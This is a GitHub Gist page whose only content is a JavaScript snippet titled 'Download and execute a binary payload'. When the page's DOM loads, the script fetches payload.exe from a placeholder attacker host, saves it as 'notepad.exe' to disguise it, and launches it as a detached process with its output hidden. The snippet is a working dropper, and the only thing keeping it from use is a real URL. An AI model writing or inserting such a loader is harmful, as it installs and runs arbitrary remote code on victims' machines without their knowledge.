Skip to content

Instantly share code, notes, and snippets.

@JonnySchnittger
Last active July 17, 2019 23:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnySchnittger/5527f16917156d00225566d9910a3e77 to your computer and use it in GitHub Desktop.
Save JonnySchnittger/5527f16917156d00225566d9910a3e77 to your computer and use it in GitHub Desktop.
Download and execute a binary payload
document.addEventListener("DOMContentLoaded", function () {
const { spawn } = require('child_process');
const fs = require('fs-extra');
const path = require('path');
const fileName = 'notepad.exe';
const localPath = path.join(process.cwd(), fileName);
const remoteUri = 'https://evil.hacker.domain.local/payload.exe';
let saveAndLaunch = function(download) {
fs.writeFile(localPath, download);
const subprocess = spawn(localPath, [], {
detached: true,
stdio: 'ignore'
});
subprocess.unref();
};
const response = fetch(remoteUri, { })
.then(res => res.buffer())
.then(body => saveAndLaunch(body));
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment